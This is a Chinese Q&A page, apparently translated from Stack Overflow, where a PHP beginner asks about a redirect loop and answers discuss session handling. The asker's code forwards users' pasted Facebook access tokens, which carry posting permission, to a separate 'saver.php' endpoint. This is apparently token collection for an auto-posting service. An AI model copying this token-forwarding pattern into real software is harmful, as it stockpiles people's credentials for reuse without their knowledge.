重定向到许多网站如何修复

时间:2017-06-10 18:38:46

标签: php

为什么在我的这个PHP脚本页面没有加载它浏览器总是说它将你重定向到太多的页面我是新的PHP所以请帮我纠正我的代码并提前谢谢......我试试删除其他但它仍然无法正常工作

if($_SESSION['token']){
    $token = $_SESSION['token'];
    $graph_url ="https://graph.facebook.com/me?access_token=" . $token;
    $user = get_json($graph_url);
    if ($user->error) {
        if ($user->error->type== "OAuthException") {
            session_destroy();
            header('Location: index.php?i=1');
            }
        }
}   



if(isset($_POST['submit'])) { $token2 = $_POST['token']; $obj = json_decode($token2); 
$token = $obj->{'access_token'}; $extend = get_html("https://graph.facebook.com/me/permissions?access_token=" . $token); }
        $pos = strpos($extend, "publish_stream");
        if ($pos == true) {
        $_SESSION['token'] = $token;
        $ch = curl_init('http://mysite/saver.php');
        curl_setopt ($ch, CURLOPT_POST, 1);
        curl_setopt ($ch, CURLOPT_POSTFIELDS, "token=".$token);
        curl_setopt($ch, CURLOPT_TIMEOUT, 2);
        curl_exec ($ch);
        curl_close ($ch);
            }
            else {
            session_destroy();
                    header('Location: index.php?i=2');}


if(isset($_POST['logout'])) {
session_destroy();
header('Location: index.php?i=3');
} 
if(isset($_GET['i'])){
        switch($_GET['i']) {
            case 1:
                $errorMsg = "ERROR: Invalid Authentication The Access Token You Entered Is Not Valid."; // For example
            break;
            case 2:
                $errorMsg = "Please Allow App To Access Your Profile!";
            break;
            case 3:
                $errorMsg = "Logout Success!";

            break;
            case 5:
                $errorMsg = "Failed, Time Limit Reached, Please Wait 15 mins Later..";
            break;
            default:
                $errorMsg = "visit every 15mins.";
            break;
        }
         ''.$errorMsg.'';
    }
?>

2 个答案:

答案 0 :(得分:0)

退出时有点不同。

  1. 创建logout.php

    <?php session_start(); session_destroy(); header("Location: index.php") ?>

  2. 创建用于注销的php函数。

  3. 我知道它并没有解决您原来的问题,但它更有效,这意味着您只需要链接到logout.php即可注销,而不是为每个页面运行4行左右。

答案 1 :(得分:0)

如php doc中所述,session_destory

  

session_destroy()会销毁与当前会话关联的所有数据。它不会取消设置与会话关联的任何全局变量,也不会取消设置会话cookie。要再次使用会话变量,必须调用session_start()。

     

注意:您不必从通常的代码调用session_destroy()。清理$ _SESSION数组而不是销毁会话数据。

所以以太使用session_start或清空$ _SESSION数组,然后执行重定向。 不要忘记&#34;退出&#34;或&#34; die()&#34;在重定向之后,为了避免处理剩下的代码。